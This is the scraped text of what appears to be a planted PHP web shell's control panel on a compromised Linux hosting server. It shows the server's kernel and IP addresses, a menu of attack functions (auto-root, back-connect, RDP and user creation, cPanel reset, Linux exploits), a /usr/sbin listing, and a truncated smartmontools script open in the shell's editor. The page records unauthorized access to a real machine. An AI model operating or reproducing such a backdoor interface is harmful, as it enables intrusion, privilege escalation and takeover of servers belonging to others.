Linux server1.sbs.cy 5.14.0-362.18.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jan 29 07:05:48 EST 2024 x86_64
Apache
: 199.192.25.12 | : 172.70.126.26
28 Domain
8.1.31
administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
sbin /
[ HOME SHELL ]
Name
Size
Permission
Action
NetworkManager
3.59
MB
-rwxr-xr-x
accessdb
15.42
KB
-rwxr-xr-x
acpid
56.13
KB
-rwxr-xr-x
addgnupghome
3.01
KB
-rwxr-xr-x
addpart
15.34
KB
-rwxr-xr-x
adduser
138.02
KB
-rwxr-xr-x
agetty
56.9
KB
-rwxr-xr-x
alternatives
39.6
KB
-rwxr-xr-x
anacron
39.69
KB
-rwxr-xr-x
apachectl
4.52
KB
-rwxr-xr-x
applygnupgdefaults
2.17
KB
-rwxr-xr-x
arp
63.21
KB
-rwxr-xr-x
arpd
27.4
KB
-rwxr-xr-x
arping
27.42
KB
-rwxr-xr-x
arptables
231.4
KB
-rwxr-xr-x
arptables-nft
231.4
KB
-rwxr-xr-x
arptables-nft-restore
231.4
KB
-rwxr-xr-x
arptables-nft-save
231.4
KB
-rwxr-xr-x
arptables-restore
231.4
KB
-rwxr-xr-x
arptables-save
231.4
KB
-rwxr-xr-x
atd
31.91
KB
-rwxr-xr-x
atrun
70
B
-rwxr-xr-x
auditctl
51.77
KB
-rwxr-xr-x
auditd
137.26
KB
-rwxr-xr-x
augenrules
4.05
KB
-rwxr-xr-x
aureport
120.53
KB
-rwxr-xr-x
ausearch
120.47
KB
-rwxr-xr-x
autrace
19.37
KB
-rwxr-x---
avcstat
15.17
KB
-rwxr-xr-x
badblocks
35.35
KB
-rwxr-xr-x
blkdeactivate
15.97
KB
-r-xr-xr-x
blkdiscard
23.39
KB
-rwxr-xr-x
blkid
51.8
KB
-rwxr-xr-x
blkmapd
39.61
KB
-rwxr-xr-x
blkzone
35.65
KB
-rwxr-xr-x
blockdev
31.61
KB
-rwxr-xr-x
bridge
114.78
KB
-rwxr-xr-x
capsh
31.21
KB
-rwxr-xr-x
cfdisk
96.55
KB
-rwxr-xr-x
chcpu
31.63
KB
-rwxr-xr-x
chgpasswd
59.95
KB
-rwxr-xr-x
chkconfig
43.78
KB
-rwxr-xr-x
chpasswd
55.81
KB
-rwxr-xr-x
chronyd
361.62
KB
-rwxr-xr-x
chroot
39.73
KB
-rwxr-xr-x
clock
59.96
KB
-rwxr-xr-x
consoletype
15.3
KB
-rwxr-xr-x
convertquota
69.03
KB
-rwxr-xr-x
cracklib-check
15.7
KB
-rwxr-xr-x
cracklib-format
255
B
-rwxr-xr-x
cracklib-packer
15.7
KB
-rwxr-xr-x
cracklib-unpacker
15.69
KB
-rwxr-xr-x
create-cracklib-dict
994
B
-rwxr-xr-x
crond
76.34
KB
-rwxr-xr-x
csf
245.1
KB
-rwx------
ctrlaltdel
15.39
KB
-rwxr-xr-x
ctstat
23.71
KB
-rwxr-xr-x
dcb
86.59
KB
-rwxr-xr-x
ddns-confgen
27.45
KB
-rwxr-xr-x
debugfs
233.02
KB
-rwxr-xr-x
delpart
15.31
KB
-rwxr-xr-x
depmod
165.76
KB
-rwxr-xr-x
devlink
161.81
KB
-rwxr-xr-x
dmfilemapd
23.49
KB
-r-xr-xr-x
dmsetup
156.96
KB
-r-xr-xr-x
dmstats
156.96
KB
-r-xr-xr-x
dnssec-cds
47.87
KB
-rwxr-xr-x
dnssec-checkds
924
B
-rwxr-xr-x
dnssec-coverage
926
B
-rwxr-xr-x
dnssec-dsfromkey
39.63
KB
-rwxr-xr-x
dnssec-importkey
35.63
KB
-rwxr-xr-x
dnssec-keyfromlabel
39.62
KB
-rwxr-xr-x
dnssec-keygen
47.63
KB
-rwxr-xr-x
dnssec-keymgr
922
B
-rwxr-xr-x
dnssec-revoke
31.61
KB
-rwxr-xr-x
dnssec-settime
47.63
KB
-rwxr-xr-x
dnssec-signzone
96.08
KB
-rwxr-xr-x
dnssec-verify
31.63
KB
-rwxr-xr-x
dovecot
124.94
KB
-rwxr-xr-x
dovecot_cpshutdown
3.27
KB
-rwxr-xr-x
dumpe2fs
31.29
KB
-rwxr-xr-x
e2freefrag
15.19
KB
-rwxr-xr-x
e2fsck
356.03
KB
-rwxr-xr-x
e2image
43.41
KB
-rwxr-xr-x
e2label
104.46
KB
-rwxr-xr-x
e2mmpstatus
31.29
KB
-rwxr-xr-x
e2undo
23.16
KB
-rwxr-xr-x
e4crypt
31.3
KB
-rwxr-xr-x
e4defrag
31.25
KB
-rwxr-xr-x
ebtables
231.4
KB
-rwxr-xr-x
ebtables-nft
231.4
KB
-rwxr-xr-x
ebtables-nft-restore
231.4
KB
-rwxr-xr-x
ebtables-nft-save
231.4
KB
-rwxr-xr-x
ebtables-restore
231.4
KB
-rwxr-xr-x
ebtables-save
231.4
KB
-rwxr-xr-x
ebtables-translate
231.4
KB
-rwxr-xr-x
edquota
89.5
KB
-rwxr-xr-x
ether-wake
50.24
KB
-rwxr-xr-x
ethtool
612.05
KB
-rwxr-xr-x
exicyclog
11.1
KB
-rwxr-xr-x
exigrep
10.52
KB
-rwxr-xr-x
exim
1.51
MB
-rwsr-xr-x
exim_checkaccess
4.83
KB
-rwxr-xr-x
exim_dbmbuild
29.2
KB
-rwxr-xr-x
exim_dumpdb
30.48
KB
-rwxr-xr-x
exim_fixdb
39.05
KB
-rwxr-xr-x
exim_lock
29.46
KB
-rwxr-xr-x
exim_tidydb
30.51
KB
-rwxr-xr-x
eximstats
148.26
KB
-rwxr-xr-x
exinext
7.13
KB
-rwxr-xr-x
exiqgrep
5.66
KB
-rwxr-xr-x
exiqsumm
5.31
KB
-rwxr-xr-x
exiwhat
4.42
KB
-rwxr-xr-x
exportfs
68.66
KB
-rwxr-xr-x
faillock
23.36
KB
-rwxr-xr-x
fcgistarter
24.71
KB
-rwxr-xr-x
fdformat
23.38
KB
-rwxr-xr-x
fdisk
112.23
KB
-rwxr-xr-x
filefrag
19.22
KB
-rwxr-xr-x
findfs
15.35
KB
-rwxr-xr-x
firewalld
9.75
KB
-rwxr-xr-x
fix-info-dir
7.85
KB
-rwxr-xr-x
fixfiles
12.13
KB
-rwxr-xr-x
fsck
43.75
KB
-rwxr-xr-x
fsck.cramfs
31.57
KB
-rwxr-xr-x
fsck.ext2
356.03
KB
-rwxr-xr-x
fsck.ext3
356.03
KB
-rwxr-xr-x
fsck.ext4
356.03
KB
-rwxr-xr-x
fsck.minix
55.9
KB
-rwxr-xr-x
fsck.xfs
2.54
KB
-rwxr-xr-x
fsfreeze
15.34
KB
-rwxr-xr-x
fstrim
43.69
KB
-rwxr-xr-x
fuser
41.09
KB
-rwxr-xr-x
g13-syshelp
88.6
KB
-rwxr-xr-x
genhomedircon
32.16
KB
-rwxr-xr-x
genhostid
15.3
KB
-rwxr-xr-x
genl
124.11
KB
-rwxr-xr-x
getcap
15.13
KB
-rwxr-xr-x
getenforce
15.1
KB
-rwxr-xr-x
getpcaps
15.12
KB
-rwxr-xr-x
getpidprevcon
15.11
KB
-rwxr-xr-x
getpolicyload
15.11
KB
-rwxr-xr-x
getsebool
15.13
KB
-rwxr-xr-x
groupadd
68.93
KB
-rwxr-xr-x
groupdel
64.7
KB
-rwxr-xr-x
groupmems
55.95
KB
-rwxr-xr-x
groupmod
72.92
KB
-rwxr-xr-x
grpck
59.93
KB
-rwxr-xr-x
grpconv
51.73
KB
-rwxr-xr-x
grpunconv
51.7
KB
-rwxr-xr-x
grub2-bios-setup
1.33
MB
-rwxr-xr-x
grub2-get-kernel-settings
2.68
KB
-rwxr-xr-x
grub2-install
1.63
MB
-rwxr-xr-x
grub2-macbless
1.31
MB
-rwxr-xr-x
grub2-mkconfig
9.21
KB
-rwxr-xr-x
grub2-probe
1.33
MB
-rwxr-xr-x
grub2-reboot
4.7
KB
-rwxr-xr-x
grub2-set-bootflag
15.24
KB
-rwsr-xr-x
grub2-set-default
3.46
KB
-rwxr-xr-x
grub2-set-password
2.74
KB
-rwxr-xr-x
grub2-setpassword
2.74
KB
-rwxr-xr-x
grub2-switch-to-blscfg
8.81
KB
-rwxr-xr-x
grubby
260
B
-rwxr-xr-x
gssproxy
124.89
KB
-rwxr-xr-x
halt
298.59
KB
-rwxr-xr-x
htcacheclean
52.8
KB
-rwxr-xr-x
httpd
1.08
MB
-rwxr-xr-x
hwclock
59.96
KB
-rwxr-xr-x
iconvconfig
31.93
KB
-rwxr-xr-x
ifconfig
78.98
KB
-rwxr-xr-x
ifenslave
23.91
KB
-rwxr-xr-x
ifstat
39.72
KB
-rwxr-xr-x
imunify-notifier
9.86
MB
-rwxr-xr-x
init
95.93
KB
-rwxr-xr-x
insmod
165.76
KB
-rwxr-xr-x
install-info
106.7
KB
-rwxr-xr-x
installkernel
323
B
-rwxr-xr-x
intel_sdsi
22.43
KB
-rwxr-xr-x
ip
755.99
KB
-rwxr-xr-x
ip6tables
231.4
KB
-rwxr-xr-x
ip6tables-nft
231.4
KB
-rwxr-xr-x
ip6tables-nft-restore
231.4
KB
-rwxr-xr-x
ip6tables-nft-save
231.4
KB
-rwxr-xr-x
ip6tables-restore
231.4
KB
-rwxr-xr-x
ip6tables-restore-translate
231.4
KB
-rwxr-xr-x
ip6tables-save
231.4
KB
-rwxr-xr-x
ip6tables-translate
231.4
KB
-rwxr-xr-x
ipmaddr
19.45
KB
-rwxr-xr-x
ipset
15.09
KB
-rwxr-xr-x
ipset-translate
15.09
KB
-rwxr-xr-x
iptables
231.4
KB
-rwxr-xr-x
iptables-nft
231.4
KB
-rwxr-xr-x
iptables-nft-restore
231.4
KB
-rwxr-xr-x
iptables-nft-save
231.4
KB
-rwxr-xr-x
iptables-restore
231.4
KB
-rwxr-xr-x
iptables-restore-translate
231.4
KB
-rwxr-xr-x
iptables-save
231.4
KB
-rwxr-xr-x
iptables-translate
231.4
KB
-rwxr-xr-x
iptunnel
19.5
KB
-rwxr-xr-x
irqbalance
60.59
KB
-rwxr-xr-x
irqbalance-ui
39.79
KB
-rwxr-xr-x
kacpimon
19.26
KB
-rwxr-xr-x
kexec
188.76
KB
-rwxr-xr-x
key.dns_resolver
31.35
KB
-rwxr-xr-x
kpartx
47.72
KB
-rwxr-xr-x
lchage
23.37
KB
-rwxr-xr-x
ldattach
27.41
KB
-rwxr-xr-x
ldconfig
1.12
MB
-rwxr-xr-x
lfd
382.42
KB
-rwx------
lgroupadd
15.31
KB
-rwxr-xr-x
lgroupdel
15.31
KB
-rwxr-xr-x
lgroupmod
23.32
KB
-rwxr-xr-x
lid
19.33
KB
-rwxr-xr-x
lnewusers
23.31
KB
-rwxr-xr-x
lnstat
23.71
KB
-rwxr-xr-x
load_policy
15.24
KB
-rwxr-xr-x
logrotate
99.65
KB
-rwxr-xr-x
logsave
15.19
KB
-rwxr-xr-x
losetup
72.27
KB
-rwxr-xr-x
lpasswd
23.32
KB
-rwxr-xr-x
lshw
849.57
KB
-rwxr-xr-x
lsmod
165.76
KB
-rwxr-xr-x
luseradd
23.33
KB
-rwxr-xr-x
luserdel
15.31
KB
-rwxr-xr-x
lusermod
23.31
KB
-rwxr-xr-x
makedumpfile
428.03
KB
-rwxr-xr-x
mariadbd
24.56
MB
-rwxr-xr-x
matchpathcon
15.14
KB
-rwxr-xr-x
mii-diag
24.2
KB
-rwxr-xr-x
mii-tool
27.78
KB
-rwxr-xr-x
mkdict
255
B
-rwxr-xr-x
mkdumprd
12.17
KB
-rwxr-xr-x
mke2fs
132.53
KB
-rwxr-xr-x
mkfs
15.36
KB
-rwxr-xr-x
mkfs.cramfs
35.57
KB
-rwxr-xr-x
mkfs.ext2
132.53
KB
-rwxr-xr-x
mkfs.ext3
132.53
KB
-rwxr-xr-x
mkfs.ext4
132.53
KB
-rwxr-xr-x
mkfs.minix
43.75
KB
-rwxr-xr-x
mkfs.xfs
450.98
KB
-rwxr-xr-x
mkhomedir_helper
23.38
KB
-rwxr-xr-x
mklost+found
15.12
KB
-rwxr-xr-x
mksquashfs
197.62
KB
-rwxr-xr-x
mkswap
47.7
KB
-rwxr-xr-x
modinfo
165.76
KB
-rwxr-xr-x
modprobe
165.76
KB
-rwxr-xr-x
modsec-sdbm-util
33.56
KB
-rwxr-x---
mount.fuse
15.36
KB
-rwxr-xr-x
mount.nfs
98.45
KB
-rwsr-xr-x
mount.nfs4
98.45
KB
-rwsr-xr-x
mountstats
42.19
KB
-rwxr-xr-x
mysqld
24.56
MB
-rwxr-xr-x
named
545.2
KB
-rwxr-xr-x
named-checkconf
39.59
KB
-rwxr-xr-x
named-checkzone
39.55
KB
-rwxr-xr-x
named-compilezone
39.55
KB
-rwxr-xr-x
named-journalprint
15.34
KB
-rwxr-xr-x
named-nzd2nzf
15.3
KB
-rwxr-xr-x
nameif
15.58
KB
-rwxr-xr-x
newusers
88.86
KB
-rwxr-xr-x
nfsconf
40.05
KB
-rwxr-xr-x
nfsdcld
56.05
KB
-rwxr-xr-x
nfsdclddb
9.99
KB
-rwxr-xr-x
nfsdclnts
9.05
KB
-rwxr-xr-x
nfsdcltrack
40.11
KB
-rwxr-xr-x
nfsidmap
23.48
KB
-rwxr-xr-x
nfsiostat
24.41
KB
-rwxr-xr-x
nfsref
43.71
KB
-rwxr-xr-x
nfsstat
38.46
KB
-rwxr-xr-x
nft
27.38
KB
-rwxr-xr-x
nologin
15.36
KB
-rwxr-xr-x
nscd
163.36
KB
-rwxr-xr-x
nsec3hash
15.38
KB
-rwxr-xr-x
nstat
31.43
KB
-rwxr-xr-x
packer
15.7
KB
-rwxr-xr-x
pam_console_apply
43.69
KB
-rwxr-xr-x
pam_namespace_helper
471
B
-rwxr-xr-x
pam_timestamp_check
15.3
KB
-rwsr-xr-x
paperconfig
4.08
KB
-rwxr-xr-x
parted
97.31
KB
-rwxr-xr-x
partprobe
16.19
KB
-rwxr-xr-x
partx
59.96
KB
-rwxr-xr-x
pdns_server
5.89
MB
-rwxr-xr-x
pidof
23.33
KB
-rwxr-xr-x
ping
76.66
KB
-rwxr-xr-x
ping6
76.66
KB
-rwxr-xr-x
pivot_root
15.35
KB
-rwxr-xr-x
plipconfig
15.35
KB
-rwxr-xr-x
poweroff
298.59
KB
-rwxr-xr-x
pure-authd
22.85
KB
-rwxr-xr-x
pure-certd
22.76
KB
-rwxr-xr-x
pure-config.pl
4.64
KB
-rwxr-xr-x
pure-ftpd
176.96
KB
-rwxr-xr-x
pure-ftpwho
26.41
KB
-rwxr-xr-x
pure-mrtginfo
14.38
KB
-rwxr-xr-x
pure-quotacheck
22.4
KB
-rwxr-xr-x
pure-uploadscript
22.66
KB
-rwxr-xr-x
pwck
55.77
KB
-rwxr-xr-x
pwconv
47.62
KB
-rwxr-xr-x
pwhistory_helper
19.37
KB
-rwxr-xr-x
pwunconv
47.58
KB
-rwxr-xr-x
quotacheck
93.63
KB
-rwxr-xr-x
quotaoff
56.69
KB
-rwxr-xr-x
quotaon
56.69
KB
-rwxr-xr-x
quotastats
15.37
KB
-rwxr-xr-x
rdisc
31.54
KB
-rwxr-xr-x
rdma
105.01
KB
-rwxr-xr-x
readprofile
23.45
KB
-rwxr-xr-x
reboot
298.59
KB
-rwxr-xr-x
repquota
77.58
KB
-rwxr-xr-x
request-key
27.29
KB
-rwxr-xr-x
resize2fs
67.62
KB
-rwxr-xr-x
resizepart
23.59
KB
-rwxr-xr-x
restorecon
23.3
KB
-rwxr-xr-x
restorecon_xattr
15.25
KB
-rwxr-xr-x
rfkill
31.55
KB
-rwxr-xr-x
rmmod
165.76
KB
-rwxr-xr-x
rndc
43.45
KB
-rwxr-xr-x
rndc-confgen
23.45
KB
-rwxr-xr-x
rotatelogs
38.13
KB
-rwxr-xr-x
route
65.77
KB
-rwxr-xr-x
rpc.gssd
88.33
KB
-rwxr-xr-x
rpc.idmapd
47.94
KB
-rwxr-xr-x
rpc.mountd
132.68
KB
-rwxr-xr-x
rpc.nfsd
40.2
KB
-rwxr-xr-x
rpc.statd
80.98
KB
-rwxr-xr-x
rpcbind
59.89
KB
-rwxr-xr-x
rpcctl
9.42
KB
-rwxr-xr-x
rpcdebug
18.8
KB
-rwxr-xr-x
rpcinfo
35.58
KB
-rwxr-xr-x
rsyslogd
781.55
KB
-rwxr-xr-x
rtacct
25.43
KB
-rwxr-xr-x
rtcwake
35.45
KB
-rwxr-xr-x
rtkitctl
15.24
KB
-rwxr-xr-x
rtmon
124.03
KB
-rwxr-xr-x
rtstat
23.71
KB
-rwxr-xr-x
runlevel
298.59
KB
-rwxr-xr-x
runq
1.51
MB
-rwsr-xr-x
runuser
55.8
KB
-rwxr-xr-x
sasldblistusers2
15.27
KB
-rwxr-xr-x
saslpasswd2
15.24
KB
-rwxr-xr-x
sefcontext_compile
72.2
KB
-rwxr-xr-x
selabel_digest
15.14
KB
-rwxr-xr-x
selabel_get_digests_all_partia...
15.15
KB
-rwxr-xr-x
selabel_lookup
15.13
KB
-rwxr-xr-x
selabel_lookup_best_match
15.13
KB
-rwxr-xr-x
selabel_partial_match
15.13
KB
-rwxr-xr-x
selinux_check_access
15.14
KB
-rwxr-xr-x
selinuxconlist
15.13
KB
-rwxr-xr-x
selinuxdefcon
15.13
KB
-rwxr-xr-x
selinuxenabled
15.1
KB
-rwxr-xr-x
selinuxexeccon
15.12
KB
-rwxr-xr-x
semanage
40.64
KB
-rwxr-xr-x
semodule
32.16
KB
-rwxr-xr-x
sendmail
24.75
KB
-rwxr-sr-x
service
4.51
KB
-rwxr-xr-x
sestatus
23.25
KB
-rwxr-xr-x
setcap
15.13
KB
-rwxr-xr-x
setenforce
15.12
KB
-rwxr-xr-x
setfiles
23.3
KB
-rwxr-xr-x
setquota
81.6
KB
-rwxr-xr-x
setsebool
19.27
KB
-rwxr-xr-x
sfdisk
104.17
KB
-rwxr-xr-x
showmount
15.66
KB
-rwxr-xr-x
shutdown
298.59
KB
-rwxr-xr-x
slattach
37.57
KB
-rwxr-xr-x
sm-notify
51.95
KB
-rwxr-xr-x
smartctl
853.95
KB
-rwxr-xr-x
smartd
615.6
KB
-rwxr-xr-x
snmpd
35.41
KB
-rwxr-xr-x
snmptrapd
35.52
KB
-rwxr-xr-x
ss
127.35
KB
-rwxr-xr-x
sshd
946.23
KB
-rwxr-xr-x
sss_cache
35.42
KB
-rwxr-xr-x
sssd
71.8
KB
-rwxr-xr-x
start-statd
1
KB
-rwxr-xr-x
start-stop-daemon
48.83
KB
-rwxr-xr-x
suexec
37.6
KB
-rwsr-xr-x
sulogin
43.6
KB
-rwxr-xr-x
sw-engine-fpm
24.4
MB
-rwxr-xr-x
swaplabel
19.38
KB
-rwxr-xr-x
swapoff
23.45
KB
-rwxr-xr-x
swapon
43.51
KB
-rwxr-xr-x
switch_root
23.39
KB
-rwxr-xr-x
sysctl
31.49
KB
-rwxr-xr-x
tc
630.3
KB
-rwxr-xr-x
telinit
298.59
KB
-rwxr-xr-x
tipc
88.9
KB
-rwxr-xr-x
tmpwatch
36.03
KB
-rwxr-xr-x
tracepath
19.39
KB
-rwxr-xr-x
tracepath6
19.39
KB
-rwxr-xr-x
tsig-keygen
27.45
KB
-rwxr-xr-x
tune2fs
104.46
KB
-rwxr-xr-x
udevadm
583.98
KB
-rwxr-xr-x
umount.nfs
98.45
KB
-rwsr-xr-x
umount.nfs4
98.45
KB
-rwsr-xr-x
unix_chkpwd
23.45
KB
-rwsr-xr-x
unix_update
31.49
KB
-rwx------
unsquashfs
113.8
KB
-rwxr-xr-x
update-alternatives
39.6
KB
-rwxr-xr-x
update-smart-drivedb
23.33
KB
-rwxr-xr-x
useradd
138.02
KB
-rwxr-xr-x
userdel
89
KB
-rwxr-xr-x
usermod
129.84
KB
-rwxr-xr-x
validatetrans
15.12
KB
-rwxr-xr-x
vdpa
35.95
KB
-rwxr-xr-x
vigr
58.33
KB
-rwxr-xr-x
vipw
58.33
KB
-rwxr-xr-x
visudo
220.85
KB
-rwxr-xr-x
vmcore-dmesg
27.47
KB
-rwxr-xr-x
weak-modules
33.55
KB
-rwxr-xr-x
whmapi0
3.15
MB
-rwxr-xr-x
whmapi1
3.15
MB
-rwxr-xr-x
whmlogin
2.33
KB
-rwxr-xr-x
wipefs
39.48
KB
-rwxr-xr-x
xfs_admin
2.13
KB
-rwxr-xr-x
xfs_bmap
699
B
-rwxr-xr-x
xfs_copy
92.82
KB
-rwxr-xr-x
xfs_db
708.3
KB
-rwxr-xr-x
xfs_estimate
15.36
KB
-rwxr-xr-x
xfs_freeze
804
B
-rwxr-xr-x
xfs_fsr
43.71
KB
-rwxr-xr-x
xfs_growfs
43.83
KB
-rwxr-xr-x
xfs_info
1.27
KB
-rwxr-xr-x
xfs_io
202.79
KB
-rwxr-xr-x
xfs_logprint
88.46
KB
-rwxr-xr-x
xfs_mdrestore
27.48
KB
-rwxr-xr-x
xfs_metadump
786
B
-rwxr-xr-x
xfs_mkfile
1.02
KB
-rwxr-xr-x
xfs_ncheck
689
B
-rwxr-xr-x
xfs_quota
92.29
KB
-rwxr-xr-x
xfs_repair
686.43
KB
-rwxr-xr-x
xfs_rtcp
19.34
KB
-rwxr-xr-x
xfs_spaceman
43.97
KB
-rwxr-xr-x
xqmstats
15.34
KB
-rwxr-xr-x
xtables-monitor
231.4
KB
-rwxr-xr-x
xtables-nft-multi
231.4
KB
-rwxr-xr-x
zic
59.81
KB
-rwxr-xr-x
zramctl
56.05
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : update-smart-drivedb
#!/usr/bin/sh # # smartmontools drive database update script # # Home page of code is: https://www.smartmontools.org # # Copyright (C) 2010-20 Christian Franke # # SPDX-License-Identifier: GPL-2.0-or-later # # $Id: update-smart-drivedb.in 5153 2020-12-30 14:09:46Z chrfranke $ # set -e # Set by config.status export PATH="/usr/local/bin:/usr/bin:/bin" PACKAGE="smartmontools" VERSION="7.2" prefix="/usr" exec_prefix="/usr" sbindir="/usr/sbin" datarootdir="${prefix}/share" datadir="/usr/share" drivedbdir="${datadir}/${PACKAGE}" # Download tools os_dltools="curl wget lynx svn" # drivedb.h update branch BRANCH="RELEASE_7_2_DRIVEDB" # Default drivedb location DRIVEDB="$drivedbdir/drivedb.h" # GnuPG used to verify signature (disabled if empty) GPG="gpg" # Smartctl used for syntax check SMARTCTL="$sbindir/smartctl" # PATH information for help and error messages #pathinfo='$PATH' pathinfo="'$PATH'" myname=$0 usage() { pathinfo=" $pathinfo" cat <<EOF smartmontools $VERSION drive database update script Usage: $myname [OPTIONS] [DESTFILE] -s SMARTCTL Use SMARTCTL for syntax check ('-s -' to disable) [default: $SMARTCTL] -t TOOL Use TOOL for download: $os_dltools [default: first one found in $pathinfo] -u LOCATION Use URL of LOCATION for download: github (GitHub mirror of SVN repository) sf (Sourceforge code browser) svn (SVN repository) [default] svni (SVN repository via HTTP instead of HTTPS) trac (Trac code browser) --trunk Download from SVN trunk (may require '--no-verify') --branch X.Y Download from branches/RELEASE_X_Y_DRIVEDB --cacert FILE Use CA certificates from FILE to verify the peer --capath DIR Use CA certificate files from DIR to verify the peer --insecure Don't abort download if certificate verification fails --no-verify Don't verify signature --export-key Print the OpenPGP/GPG public key block --dryrun Print download commands only -v Verbose output Updates $DRIVEDB or DESTFILE from branches/$BRANCH of smartmontools SVN repository. EOF exit 1 } error() { echo "$myname: $*" >&2 exit 1 } err_notfound() { case $1 in */*) error "$1: not found $2" ;; *) error "$1: not found in $pathinfo $2" ;; esac } warning() { echo "$myname: (Warning) $*" >&2 } selecturl() { case $1 in github) # https://github.com/smartmontools/smartmontools/raw/origin/$BRANCH/smartmontools/drivedb.h # https://github.com/smartmontools/smartmontools/raw/master/smartmontools/drivedb.h # redirected to: url='https://raw.githubusercontent.com/smartmontools/smartmontools/master/smartmontools/drivedb.h' ;; sf) url='https://sourceforge.net/p/smartmontools/code/HEAD/tree/trunk/smartmontools/drivedb.h?format=raw' ;; svn) url='https://svn.code.sf.net/p/smartmontools/code/trunk/smartmontools/drivedb.h' ;; svni) url='http://svn.code.sf.net/p/smartmontools/code/trunk/smartmontools/drivedb.h' ;; trac) url='https://www.smartmontools.org/export/HEAD/trunk/smartmontools/drivedb.h' ;; *) usage ;; esac } inpath() { local d rc save rc=1 save=$IFS IFS=':' for d in $PATH; do test -f "$d/$1" || continue test -x "$d/$1" || continue rc=0 break done IFS=$save return $rc } vecho() { test -n "$q" || echo "$*" } # vrun COMMAND ARGS... vrun() { if [ -n "$dryrun" ]; then echo "$*" elif [ -n "$q" ]; then "$@" 2>/dev/null else echo "$*" "$@" fi } # vrun2 OUTFILE COMMAND ARGS... vrun2() { local f err rc f=$1; shift rc=0 if [ -n "$dryrun" ]; then echo "$* > $f" else vecho "$* > $f" err=`"$@" 2>&1 > $f` || rc=$? if [ -n "$err" ]; then vecho "$err" >&2 test $rc != 0 || rc=42 fi fi return $rc } # download URL FILE download() { local f u rc u=$1; f=$2 rc=0 case $tool in curl) # "Accept-Encoding" header avoids caching problems with svn URL vrun curl ${q:+-s} -f --max-redirs 0 \ -H "Accept-Encoding: identity" \ ${cacert:+--cacert "$cacert"} \ ${capath:+--capath "$capath"} \ ${insecure:+--insecure} \ -o "$f" "$u" || rc=$? ;; wget) # wget >= 1.16.1 sets "Accept-Encoding: identity" header by default vrun wget $q --max-redirect=0 \ ${cacert:+--ca-certificate="$cacert"} \ ${capath:+--ca-directory="$capath"} \ ${insecure:+--no-check-certificate} \ -O "$f" "$u" || rc=$? ;; lynx) test -z "$cacert" || vrun export SSL_CERT_FILE="$cacert" test -z "$capath" || vrun export SSL_CERT_DIR="$capath" # Check also stderr as lynx does not return != 0 on HTTP error vrun2 "$f" lynx -stderr -noredir -source "$u" || rc=$? ;; svn) vrun svn $q export \ --non-interactive --no-auth-cache \ ${cacert:+--config-option "servers:global:ssl-trust-default-ca=no"} \ ${cacert:+--config-option "servers:global:ssl-authority-files=$cacert"} \ ${insecure:+--trust-server-cert} \ "$u" "$f" || rc=$? ;; fetch) # FreeBSD vrun fetch $q --no-redirect \ ${cacert:+--ca-cert "$cacert"} \ ${capath:+--ca-path "$capath"} \ ${insecure:+--no-verify-hostname} \ -o "$f" "$u" || rc=$? ;; ftp) # OpenBSD vrun ftp \ ${cacert:+-S cafile="$cacert"} \ ${capath:+-S capath="$capath"} \ ${insecure:+-S dont} \ -o "$f" "$u" || rc=$? ;; *) error "$tool: unknown (internal error)" ;; esac return $rc } # check_file FILE FIRST_CHAR MIN_SIZE MAX_SIZE check_file() { local firstchar f maxsize minsize size test -z "$dryrun" || return 0 f=$1; firstchar=$2; minsize=$3; maxsize=$4 # Check first chars case `dd if="$f" bs=1 count=1 2>/dev/null` in $firstchar) ;; \<) echo "HTML error message"; return 1 ;; *) echo "unknown file contents"; return 1 ;; esac # Check file size size=`wc -c < "$f"` if test "$size" -lt $minsize; then echo "too small file size $size bytes" return 1 fi if test "$size" -gt $maxsize; then echo "too large file size $size bytes" return 1 fi return 0 } # unexpand_svn_id < INFILE > OUTFILE unexpand_svn_id() { sed 's,\$''Id'': drivedb\.h [0-9][0-9]* 2[-0-9]* [012][:0-9]*Z [a-z][a-z0-9]* \$,$''Id''$,' } # selectkey BRANCH selectkey() { case $1 in RELEASE_5_4[0-3]_DRIVEDB|RELEASE_6_[0-6]_DRIVEDB) # Smartmontools Signing Key (ext. to 2024) <smartmontools-database@listi.jpberlin.de> # Smartmontools Signing Key (through 2018) <smartmontools-database@listi.jpberlin.de> # Smartmontools Signing Key (through 2018) <smartmontools-database@lists.sourceforge.net> # Key ID DFD22559 public_key="\ -----BEGIN PGP PUBLIC KEY BLOCK----- mQENBFgOYoEBCAC93841SlFmpp6640hKUvZ8PbZR6OGnZnMXD6QRVzpibXGZXUDB f6unujun5Ql4ObAWt6QuRqz5Gk2gF8tcOfN6edR/uK5gyX2rlWVLoZKOV91a3aDI iIDh018tLWOpHg3VxgHL6f0iMcFogUYnD5zhC5Z2GVhFb/cVpj+ocZWcxQLQGPVv uZPUQWrvdpFEzcnxPMtJJDqXEChzhrdFTXGm69ERxULOro7yDmG1Y5xWmhdGnPPM cuCXVVlADz/Gh1w+ay7RqFnzPjqjQmHAuggns467TJEcS0yiX4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qQCOLTX0B6RQ8vt+PEzXPHi0lIdwOrQk5l7h utnjwXmWaWEpRjlsuQ5PBrFDsD9N+IkBHAQTAQIABgUCWA5kYwAKCRDfDxpJxKSQ Op+/CADTlsgisoXI6b+0oohRaD4ZVl5eBtkvTrxNQf6EF7Z1uPkVOqi1OLWFGyAm beLcRmN6c4/DVcaa6GAG7GA+KQwVPRCyC+9Ibsn/+uG6ZFXAez+0eG9NxOfkCnYH 8ZP8o2VH+9uKJlGGujh9o5r1SNGVifoLGTc8NkWCW+MAKj8dw8WW+wDc80YrdCRr SyLrRU9NLTSE4pIJWKcHLwG63xkXHQPPR1lsJgzdAalfEv1TQdIF3sM+GXp4lZ6b uahFDiILBh1vj+5C9TdpWZAlqHDYFICa7Rv/MvQa4O9UUl3SlN3sed8zwAmL3Heo XE5tBu8iatMaS9e3BmSsVYlhd/q+iQEcBBMBAgAGBQJYDmSWAAoJEC/N7AvTrxqr 8HsH+QGQuhHYt9Syccd8AF36psyT03mqgbGLMZL8H9ngoa9ZqVMq7O8Aqz23SGTt uNuw6EyrcHo7Dy1311GftshI6arsFNJxE2ZNGIfGocRxu9m3Ez+AysWT9sxz/haH 